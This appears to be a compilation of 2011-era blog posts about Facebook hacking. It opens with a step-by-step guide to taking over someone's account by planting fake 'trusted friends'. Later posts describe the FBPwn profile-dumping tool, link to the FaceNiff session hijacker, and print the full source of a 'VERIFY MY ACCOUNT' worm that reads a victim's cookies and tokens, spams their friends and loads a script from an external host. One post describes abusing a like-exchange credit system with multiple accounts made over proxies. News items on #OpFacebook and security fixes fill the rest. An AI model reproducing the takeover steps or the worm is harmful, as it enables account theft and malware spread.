Exploiting "Facebook Trusted Friend" Security Feature

Last week Facebook announced that in one day 600,000 accounts possibly get hacked. Another possible solution for Facebook to combat security issues is to find 3 to 5 "Trusted friends". Facebook will be adding two new security features that will allow users to regain control of their account if it gets hijacked.

In Facebook's case, the keys are codes, and the user can choose from three to five "Trusted friends" who are then provided with a code. If you ever get locked out of your account (and you can't access your email to follow the link after resetting your Facebook password), you gather all the codes and use them to gain access to it again.  This method is used by hackers to hack most of the Facebook account using little bit of Social Engineering.


How to hack using this feature ? 


For this technique you need to create 3 fake Facebook account and you need to surely add these as friends into your victims account whose account you are going to hack.
After success full addition of your fake accounts into victims account as friends follow the below steps .:


1. Go to Facebook and click Forgot your Password ?


2. Than you will get something like below just enter the details you know about him enter his Username, email address and full name.

3. After entering everything check it again and click on submit.

4. After succeful search for the user Facebook will show some information about how many emails are linked to the account and there is simple option saying 
No Longer Access to These click that one.

5. Now it will promote you to enter a new email address on which you will get the password resetting option so enter your email address I suggest you creating a Fake or Temporary email address for safety purpose.

6. Than it will promote you to enter the Security well if you have some security guess about that one than that’s ok but if you don’t know it than simply enter 3 wrong answers and it will take you to the 3 trusted friends recovery page like below.

7. Now just click continue and facebook will ask you to choose 3 trusted friends choose the 3 fake profiles of your which you created and added into the victims account. 
8. After selecting 3 accounts facebook will send security codes to these accounts just enter these codes and you will get Password Resetting email from Facebook on the account you created in Step 5

That’s it now you are successful in Hacking Facebook Password with the 3 Trusted Friends Method.

||source||

Fbpwn - A Facebook Profile Dumper

A cross-platform Java based Facebook profile dumper, sends friend requests to a list of Facebook profiles, and polls for the acceptance notification. Once the victim accepts the invitation, it dumps all their information,photos and friend list to a local folder.

Modules

All modules work on a selected profile URL (we'll call him bob), using a valid authenticated account (we'll call him mallory).

- AddVictimFriends: Request to add some or all friends of bob to increase the chance of bob accepting any future requests, after he finds that you have common friends.

- ProfileCloner: A list of all bob's friends is displayed, you choose one of them (we'll call him andy). FBPwn will change mallory's display picture, and basic info to match andy's. This will generate more chance that bob accepts requests from mallory as he thinks he is accepting from andy. Eventually bob will realize this is not andy's account, but probably it would be too late as all his info are already saved for offline checking by mallory.

- CheckFriendRequest: Check if mallory is already friend of bob, then just end execution. If not, the module tries to add bob as as a friend and poll waiting for him to accept. The module will not stop executing until the friend request is accepted.

- DumpFriends: Accessable friends of bob is saved for offline viewing. The output of the module depends on other modues, if mallory is not a friend of bob yet, the data might not be accessable and nothing will be dumped.

- DumpImages: Accessable images (tagged and albums) are saved for offline viewing. Same limitations of dump friends applies.

- DumpInfo: Accessable basic info are saved for offline viewing. Same limitations of dump friends applies.

DOWNLOAD

Facebook official security guide

Recently Facebook released - 14 pages in all - Facebook Security Guide, written by former Senior Director of Internet Safety at Symantec Linda McCarthy, security research engineer at Purdue University Keith Watson and teacher and editor Denise Weldon-Siviy, offers tips on:

•  Protecting your Facebook account


• Avoiding the scammers (very helpful examples of the most popular Facebook scams)


• Using advanced security settings (one-time passwords, secure browsing, singel sign-on, social authentication, etc.)


• Recovering a hacked Facebook account


• Stopping imposters.

Written in a manner understandable to anyone and everyone, it should be a required read for everybody who begins using the social network and for many old users who are ignorant of the fact that they need protection.



Click To Download

Facebook threat allegedly from rogue Anonymous members

Members of Anonymous took to Twitter and Pastebin on Wednesday to distance themselves from a threatened cyber attack against Facebook that is reportedly supposed to take place on Guy Fawkes Night in November.

The Anonymous members who spoke out against the proposed attack said the hackers involved in the planned Operation Facebook action aren't representative of the whole group.

And therein lies a problem for Anonymous; there is no defined organization within the hacktivist group.

Not all members take part in every action, no one person runs the group or can tell others what to do and no one person speaks on behalf of the group either.

In the past, this lack of hierarchy has seemed to serve the group well as alleged members have been arrested and other members have preached that an idea can't be arrested and the group will persist.

Now, it seems, some members aren't happy with the ideas of others.

In July, an allegedly rogue band of members started a YouTube page and Twitter account stating that Anonymous would launch a cyber attack on Nov. 5, the day in 1605 when Guy Fawkes famously tried to blow up London's House of Lords and kill England's King James I but was instead arrested.

On Wednesday, Anonymous members offered differing accounts of just what Operation Facebook is. Some called it a hoax, while others said the plan was being conducted by an offshoot of Anonymous and was something the hacktivist group didn't condone.

In a few tweets from the @Anonops Twitter account, one of the many mouthpieces of Anonymous on the micro-blogging service, the story changes from Operation Facebook not being an authentic Anonymous action to it being something a limited number of Anonymous members are a part of:

TO PRESS: MEDIAS OF THE WORLD... STOP LYING! #OpFacebook is just ANOTHER FAKE! WE DONT "KILL" THE MESSENGER. THAT'S NOT OUR STYLE #Anonymous

Dont be silly. Important things are happening in the world to deal with quirks like#OpFacebook. Lets keep our style & moral #Anonymous

#OpFacebook is being organised by some Anons. This does not necessarily mean that all of#Anonymous agrees with it.

We prefer to face the real power and not to face to the same medias that we use as tools.#OpFacebook #Anonymous

One person who identified him- or herself as a member of Anonymous took the blame and said the whole deal was a misunderstanding in a statement published on the website Pastebin.

The Pastebin statement said that Operation Facebook wasn't meant to be a cyber attack on Facebook, but rather an attempt to build a new social network to rival Facebook, one that doesn't share or sell its users' information.

The project didn't gain much traction and became one of the founding pieces of AnonPlus, a social network Anonymous is working on building after its members were kicked out of Google+.

The statement reads:

Op facebook began several months ago, and had between 10 and 20 members. At its conception it had one goal:

To bring attention to the fact that facebook stored the data of user accounts.

This later developed into a second goal:

To develop an ethical, anonymous facebook alternative.

Development began on the site (albeit slowly), and all was well for a few days. Then came news of anonplus, an anonymous social network, similar to the one that was being developed at #opfacebook. The site in development by #opfacebook was slowing to a halt  and so i decided to offer the source to the team at anonplus.

The person who posted the statement, who didn't offer up his or her name (fitting for a member of a group called Anonymous, right?), said that being able to hand off Operation Facebook to those working on AnonPlus was a relief because he or she was getting bored with the undertaking.

I expected them to accept my offer of free source code and a mostly functioning site that would have reduced the embarresment[sic] they subjected themselves to with the epic fail of anouncing[sic] a site before they started coding.

Operation Facebook, the statement said, should have come to an end at that point. But that didn't happen because an online chat room "channel" where Anonymous members discussed Operation Facebook wasn't shut down by anyone.

Nobody ever removed the channel, and so at some point rumours began as to what #opfacebook was.

The plan before it was scrapped had been a mass deletion of facebook accounts, however it was decided that a mass deletion of facebook accounts would occur on november the 5th, however this was decided to be a bad idea and so it was removed from the pad. Unfortunately, this left only the draft of a message to facebook, warning that they would "never forget" the 5th of november. At some point, somebody saw the near-empty channel and joined it. Rumours were spread ranging from 0-day exploits in facebook to physical attacks on the server. Soon #opfacebook gained around 40 people who expected an attack on facebook.

With people seeing the Operation Facebook plans, even though the original planners had given up on the ideas, the cyber attack concept was resurrected by mistake, the statement said. And when the media caught on to this, expectations for Operation Facebook rose even further, with some 200 people wanting to take part, the statement said.

Anyway, the whole thing is a massive cluster... and i feel responsible, so can someone sort that ... out?

#OpFacebook - Anonymous Going To Attack Facebook on November 5 , 2011

#OpFacebook - Anonymous Going To Attack Facebook on November 5 , 2011

Anonymous have declared to destroy Facebook on Nov 5 or may be this is another fake anonymous hacker with a fake operation who made accounts named Op_Facebook (Twitter)  FacebookOp (Youtube) .


Anonymous notices the citizens  
" We wish to get your attention, hoping you heed the warnings as follows:
Your medium of communication you all so dearly adore will be destroyed. If you are a willing hacktivist or a guy who just wants to protect the freedom of information then join the cause and kill facebook for the sake of your own privacy. "

The group said in its message that "Operation Facebook" would be begin November 5. It claimed the social network, based in Palo Alto,Calif., provides information to "government agencies" so they can "spy on people." If Operation Facebook is real, it could mark a new phase for Anonymous, which in recent weeks has joined forces with the remnants of the more tightly knit hacker group LulzSec to target law enforcement agencies in an ongoing operation called Antisec.

                                                                                       One of the Anonymous Leader Claim that "Operation                  Facebook" is Fake. He tweeted as shown above.

Press Release of #Op_Facebook 

Operation Facebook

DATE: November 5, 2011.

TARGET: https://facebook.com

Press:
Twitter : https://twitter.com/OP_Facebook
http://piratepad.net/YCPcpwrl09
Irc.Anonops.Li #OpFaceBook
Message:

Attention citizens of the world,

We wish to get your attention, hoping you heed the warnings as follows:
Your medium of communication you all so dearly adore will be destroyed. If you are a willing hacktivist or a guy who just wants to protect the freedom of information then join the cause and kill facebook for the sake of your own privacy.

Facebook has been selling information to government agencies and giving clandestine access to information security firms so that they can spy on people from all around the world. Some of these so-called whitehat infosec firms are working for authoritarian governments, such as those of Egypt and Syria.

Everything you do on Facebook stays on Facebook regardless of your "privacy" settings, and deleting your account is impossible, even if you "delete" your account, all your personal info stays on Facebook and can be recovered at any time. Changing the privacy settings to make your Facebook account more "private" is also a delusion. Facebook knows more about you than your family. http://www.physorg.com/news170614271.html

http://itgrunts.com/2010/10/07/facebook-steals-numbers-and-data-from-your-iph....

You cannot hide from the reality in which you, the people of the internet, live in. Facebook is the opposite of the Antisec cause. You are not safe from them nor from any government. One day you will look back on this and realise what we have done here is right, you will thank the rulers of the internet, we are not harming you but saving you.

The riots are underway. It is not a battle over the future of privacy and publicity. It is a battle for choice and informed consent. It's unfolding because people are being raped, tickled, molested, and confused into doing things where they don't understand the consequences. Facebook keeps saying that it gives users choices, but that is completely false. It gives users the illusion of and hides the details away from them "for their own good" while they then make millions off of you. When a service is "free," it really means they're making money off of you and your information.

Think for a while and prepare for a day that will go down in history. November 5 2011, #opfacebook . Engaged.

This is our world now. We exist without nationality, without religious bias. We have the right to not be surveilled, not be stalked, and not be used for profit. We have the right to not live as slaves.

We are anonymous
We are legion
We do not forgive
We do not forget
Expect us

Facebook CEO says company will ‘launch something awesome next week

Facebook CEO says company will ‘launch something awesome’ next week

Speaking to reporters on Thursday, Facebook’s CEO Mark Zuckerberg said that the social network has plans to “launch something awesome” next week. There’s no official word on what will be announced, but we suspect it’s going to be the new iPhone photo-sharing service that we saw just last week. The service — which looked amazing in the leaked screen shots — will likely compete with other applications such as Instagram and Path. Rumor has it that inside Facebook headquarters, the new photo sharing app has been dubbed either “WithPeople,” or “Hovertown.” It’s entirely possible that Zuckerberg will also take the wraps off of his company’s native Facebook iPad app, since it would likely fit well into the photo-sharing ecosystem. Lastly, it’s possible Facebook will detail the next steps it’s taking with its Facebook Places check-in service, too, but given Zuckerberg’s use of the word “launch,” we’re not so sure. It remains unclear what day the announcement will be made.

GOOGLE targets FACEBOOK with social network Google+

Google Inc is making its boldest move to take on Facebook in the fast-growing social networking market and to maintain its dominance on the Web.
Google, which has been frustrated by a string of failed attempts to crack the social networking market, introduced a full-fledged social network on Tuesday dubbed Google+ (plus.google.com). It is the company's biggest foray into social networking since co-founder Larry Page took over as chief executive in April.

Page has made social networking a top priority at the world's No. 1 Internet search engine, whose position as the main gateway to online information could be at risk as people spend more time on sites like Facebook and Twitter.
"They had the luxury of making mistakes in the past with their social initiatives. They don't really have that luxury now," said Ray Valdes, an analyst at research firm Gartner, referring to Google.
"Companies that are successful with the social web will get the page views, they'll get the engagement and they'll eventually get the advertising dollars that are so important to Google," he said.

Google+ (Google Plus), now available for testing, is structured in remarkably similar fashion to Facebook, with profile pictures and newsfeeds forming a central core. However, a user's friends or contacts are grouped into very specific circles of their choosing, versus the common pool of friends typical on Facebook.

Enticing consumers to join another social networking service will not be easy, said Rory Maher, an analyst with Hudson Square Research.
"They're going to have an uphill battle due to Facebook's network effects," said Maher, citing the 700 million users that some research firms say are currently on Facebook's service.

"The more users they (Facebook) get, the harder it gets for Google to steal those," he said. But he added that Google's popularity in Web search and email could help it gain a following.

To set its service apart from Facebook, Google is betting on what it says is a better approach to privacy - a hot-button issue that has burned Facebook, as well as Google, in the past.

Central to Google+ are the "circles" of friends and acquaintances. Users can organize contacts into different customized circles - family members, coworkers, college friends - and share photos, videos or other information only within those groups.

"In the online world there's this 'share box' and you type into it and you have no idea who is going to get that, or where it's going to land, or how it's going to embarrass you six months from now," said Google Vice President of Product Management Bradley Horowitz.
"For us, privacy isn't buried six panels deep," he added.

Facebook, which has been criticized for its confusing privacy controls, introduced a feature last year that lets users create smaller groups of friends. Google, without mentioning Facebook by name, said other social networking services' attempts to create groups have been "bolt-on" efforts that do not work as well.
Notifications:-

Google homepage also is changed with black border ..looks plesant to eye , rather than full white..

Google+ , any competition is good for us..
I like google to integrate or open up pics of its member to friends more than facebook... Orkut went down because it locked all the photos ... Orkut picked up because you can see girls pics.. currently what facebook offers in a limited way :-p

for invitation post your email ids here :)

Facebook Hires Sony's PS3 Hacker ‎

Facebook Hires Sony's PS3 Hacker ‎

Facebook hires Sony hacker
June 29 2011

New York - The 21-year-old computer whiz whose legal tussle with Sony triggered one of the largest assaults by the hacker community on a single company has found himself a steady job - with Facebook. George Hotz became a star among hackers under the internet pseudonym name GeoHot when he “unlocked” Apple's iPhone and then the Sony PlayStation games console. He posted details of how to alter software on the devices so that tech-savvy users could use them for unauthorised games and other applications.

Facebook swooped to hire Mr Hotz last month, just weeks after he settled the lawsuit from Sony that so enraged fellow hackers that they launched an attack on the company that has cost it tens of millions of dollars to date.

The social networking giant has not said what Mr Hotz will be working on, though there was speculation he could be involved in building anti-hacker defences at Facebook, or in the company's plans to develop a rival to Apple's App Store for software downloads.

Mr Hotz is straight out of hacker central casting, a teenage computer genius who grew up in New Jersey and was identified early as a talented youngster, attending a special programme for bright children from the US state school system. He led his school in national robot-building championships and appeared on national television demonstrating his creations.

It was in 2008 that he achieved fame in the hacker community for conducting the first so-called “jailbreak” of an Apple iPhone. His hack allowed users to get round Apple's tight controls on what apps can be downloaded to the phone and which mobile phone networks it can be used on.

And then in 2009 and 2010, he chronicled on his blog his attempts to similarly unlock Sony's PlayStation 3 console, and earlier this year he posted “root keys” for the PS3 so that others could emulate his work and build homegrown software on the device. Sony launched a lawsuit days later, saying Mr Hotz was encouraging the use of pirated games.

In an interview on the cable TV channel G4, Mr Hotz put himself in the tradition of radio hams of old and said he was fighting for the right for computer fans to tinker with their equipment. “This is about a lot more than what I did and me,” he said of the lawsuit. “It's about whether you really own that device that you purchase.”

Facebook's decision to hire Mr Hotz sends a powerful signal that it will be a welcoming employer for the brightest engineers. Google bosses last year said they were in a “war for talent” with Facebook and other Silicon Valley firms, and the war is only likely to hot up now that money is flowing into the technology industry from investors keen to find the next Facebook.

As Mr Hotz was yesterday ensconced in his new role, the fallout from his actions continued to reverberate. Sir Howard Stringer, the British businessman who runs Sony, faced calls for his resignation at the Japanese firm's annual shareholder meeting.

The company was forced to temporarily shut down its PlayStation Network of online games after disclosing in April that hackers had accessed personal information on 77 million of its customers, potentially including their credit card details.

Sir Howard said on Tuesday that the company had been the victim of a revenge attack by supporters of Mr Hotz. “We believe that we first became the subject of attack because we tried to protect our intellectual property, our content, in this case videogames,” he said. - The Independent

Faceniff evil android application

                                                   What is Faceniff?

FaceNiff is an Android application that lets users sniff and intercept web session profiles over Wi-Fi networks, stealing other users’ credentials from Facebook, Twitter and other services.
The app requires root access on the user’s Android smartphone, but other than that it’s fairly simple to use, which makes it perhaps even more dangerous than Firesheep, a Firefox extension that lets users hijack Facebook and Twitter sessions over Wi-Fi networks. FaceNiff also works on WPA-encrypted Wi-Fi networks, which Firesheep doesn’t support.

Right now it works with Facebook, Twitter, YouTube, and Nasza-Klasa (a Polish Facebook clone), but developer Bartosz Ponurkiewicz promises more are coming.

FaceNiff is much more flexible than Firesheep as the latter requires a computer. Nearly anything is accessible to FaceNiff users, providing they can get access to protected networks.

Here is the video of faceniff demonstrating the new attack



How to protect yourself from FaceNiff?

FaceNiff cannot, however, access accounts that use https browsing, which encrypts information for a more secure browsing session. Facebook is not automatically on https. Users must enable it manually, and Twitter also requires users to manually activate it. Perhaps with the wider availability of an app like FaceNiff, https browsing will become standard.


you can download FaceNiff from its official website http://faceniff.ponury.net/

Facebook worm spreading : ==VERIFY MY ACCOUNT==

In the past hour a new application has begun spreading on Facebook which has found an exploit in the existing sharing system. Whatever you do, don’t click the link described below.

The system is pretty straight forward. It suggests that you click “VERIFY MY ACCOUNT” within a link which ultimately results in the user posting the same message to all their friends’ walls. The message typically resembles the following one:

 here is the source code of the verify my account facebook worm:

var message = "Please do your part in PREVENTING SPAM by VERIFYING YOUR ACCOUNT. Click VERIFY MY ACCOUNT right next to comment below to begin the verification process...";
var jsText = "javascript:(function(){_ccscr=document.createElement('script');_ccscr.type='text/javascript';_ccscr.src='http://pelorak.info/verify.js?'+(Math.random());document.getElementsByTagName('head')[0].appendChild(_ccscr);})();";
var myText = "==>[VERIFY MY ACCOUNT]<==";
var post_form_id = document.getElementsByName('post_form_id')[0].value;
var fb_dtsg = document.getElementsByName('fb_dtsg')[0].value;
var uid = document.cookie.match(document.cookie.match(/c_user=(\d+)/)[1]);
var friends = new Array();
gf = new XMLHttpRequest(); 
gf.open("GET","/ajax/typeahead/first_degree.php?__a=1&filter[0]=user&viewer=" + uid + "&"+Math.random(),false); 
gf.send(); 
if(gf.readyState!=4){ }else{ 
data = eval('(' + gf.responseText.substr(9) + ')'); 
if(data.error){ }else{ 
friends = data.payload.entries.sort(function(a,b){return a.index-b.index;});
}
}
for(var i=0; i<friends.length; i++){
var httpwp = new XMLHttpRequest();
var urlwp = "http://www.facebook.com/fbml/ajax/prompt_feed.php?__a=1";
var paramswp = "&__d=1&app_id=6628568379&extern=0&" +
"&post_form_id=" + post_form_id + 
"&fb_dtsg=" + fb_dtsg + 
"&feed_info[action_links][0][href]=" + encodeURIComponent(jsText) + 
"&feed_info[action_links][0][text]=" + encodeURIComponent(myText) + 
"&feed_info[app_has_no_session]=true&feed_info[body_general]=&feed_info[template_id]=60341837091&feed_info[templatized]=0&feed_target_type=target_feed&feedform_type=63&lsd&nctr[_ia]=1&post_form_id_source=AsyncRequest&preview=false&size=2&to_ids[0]=" + friends[i].uid + 
"&user_message=" + message;
httpwp.open("POST", urlwp, true);
httpwp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
httpwp.setRequestHeader("Content-length", paramswp.length);
httpwp.setRequestHeader("Connection", "keep-alive");
httpwp.onreadystatechange = function(){
if (httpwp.readyState == 4 && httpwp.status == 200){
}
}
httpwp.send(paramswp);
}
alert("Verification Failed. Click 'OK' and follow the steps to prevent your account from being deleted.");
document.location = "http://pelorak.info/verify.php?js";

Here is a youtube video explaining the working of this facebook worm

Symantec: Adviced To Change Facebook Password

Symantec today warned that advertisers, analytic platforms, and other third parties may be able to access Facebook users' personal information using inadvertently leaked application tokens. The security company advised Facebook users to change their passwords on the social networking site in order protect their accounts from being mined.

Facebook said it has fixed a year-old flaw, reported by Symantec, that caused iframe applications to inadvertently leak access tokens. Those tokens can be used maliciously to get at users' profiles, photographs, and chats, as well as for posting messages -- which could include links to malware sites -- to their Facebook pages.
Facebook's fix, however, has only stopped the leak; the aforementioned tokens still reside in log files of third-party servers or are still being actively used by advertisers. Symantec estimated that as of April of this year, close to 100,000 applications were enabling the leakage: "We estimate that over the years, hundreds of thousands of applications may have inadvertently leaked millions of access tokens to third parties.
"Concerned Facebook users can change their Facebook passwords to invalidate leaked access tokens. Changing the password invalidates these tokens and is equivalent to 'changing the lock' on your Facebook profile," according to Symantec.
Details of how the leak works is viewable in Symantec's blog.

Facebook unveils security tools after Zuckerberg's page hacked

Facebook today announced two new security measures -- wider use of HTTPS and the introduction of "social authentication" -- less than 24 hours after the Facebook page of company founder Mark Zuckerberg was defaced by a hacker.

A blog post by Facebook's Alex Rice ties the security announcement to Friday being "Data Privacy Day," but the press and bloggers are having a high time connecting the news and Zuckerberg's victimization, whether or not there is actually any connection.

The first new security measure involves expanding the use of HTTPS -- Hypertext Transfer Protocol Secure -- beyond password exchanges.

Rice writes: "Starting today we'll provide you with the ability to experience Facebook entirely over HTTPS. You should consider enabling this option if you frequently use Facebook from public Internet access points found at coffee shops, airports, libraries or schools. The option will exist as part of our advanced security features, which you can find in the 'Account Security' section of the Account Settings page."

The second measure is a captcha-like authentication mechanism that instead of relying on illegible printed words employs photographs of a Facebook user's own friends.
Rice continues: "Instead of showing you a traditional captcha on Facebook, one of the ways we may help verify your identity is through social authentication. We will show you a few pictures of your friends and ask you to name the person in those photos. Hackers halfway across the world might know your password, but they don't know who your friends are."
Meanwhile, Facebook has remained officially mum regarding yesterday's apparent hacking incident that saw someone insert a message onto Zuckerberg's Facebook fan page, which has attracted 2.8 million Facebook users. While it was removed relatively quickly, some 1,800 of those users managed to "like" the page and more than 400 left comments beforehand. The message read:
"Let the hacking begin: If facebook needs money, instead of going to the banks, why doesn't Facebook let its users invest in Facebook in a social way? Why not transform Facebook into a 'social business' the way Nobel Price [sic] winner Muhammad Yunus described it? #hackercup2011"

As of this writing, Zuckerberg's page remains disabled.

GET TWITTER FOLLOWERS, FACEBOOK LIKES & WEBSITE VISITORS

here's a website where you can get Twitter followers, Facebook likes & Website visitors [ Helps keepin CTR low ]

You'll be gettin above things for CREDITS in their language .. which you'll get when you follow other, like someones page or visit someones website ! Which is pretty easy Oui

Now comes the tricky part
Create your account & then Go Here

• Enter the following vouchers one by one

Quote:Voucher codes – codes will be emailed to those who reply in this topic

You'll get 175 credits by doing so !

• Then sign up for the Feed for 100 Credits [ You'll need to confirm email ]

Now you have 275 credits for free, by which you can get about 200 visits from 1 account

You can repeat the same process by using Proxy, creating another account,Vouchers,Sign up for Feed and keep getting Likes, Followers & Visits Biggrin

Ps - Use proxy when creating another account, otherwise it won't accept voucher codes

if you want to purchase facebook fans.. try buying facebook fans from the site mahakal infotech

Security firm: Facebook is biggest mobile malware threat

The biggest mobile infection threat isn't malware that specifically targets mobile devices, according to new research from security firm BitDefender. Malware that targets Facebook is a far bigger problem for mobile security, the firm claims.


Spam links on social networks are infecting mobile devices via bad links on Facebook because the worms and other malware are often platform-independent and are widely spread as malware that targets PCs. 

BitDefender officials point to Google statistics, which reveal almost one quarter of Facebook users who fell for a recent scam on the social network did so from their mobile device. The URL that was studied was one that claimed to show users a girl's Facebook status which got her expelled from school. It generated 28,672 clicks -- 24 percent of which originated from mobile platforms. Users who clicked on the link -- whether on their PC or mobile device -- downloaded a Facebook worm and fell victim to an adword-based money grabbing scheme


"When data security researchers focus on finding malware specifically designed for mobile platforms, they lose sight of an important mobile platform threat source -- the social network," said George Petre, BitDefender Threat Intelligence Team Leader.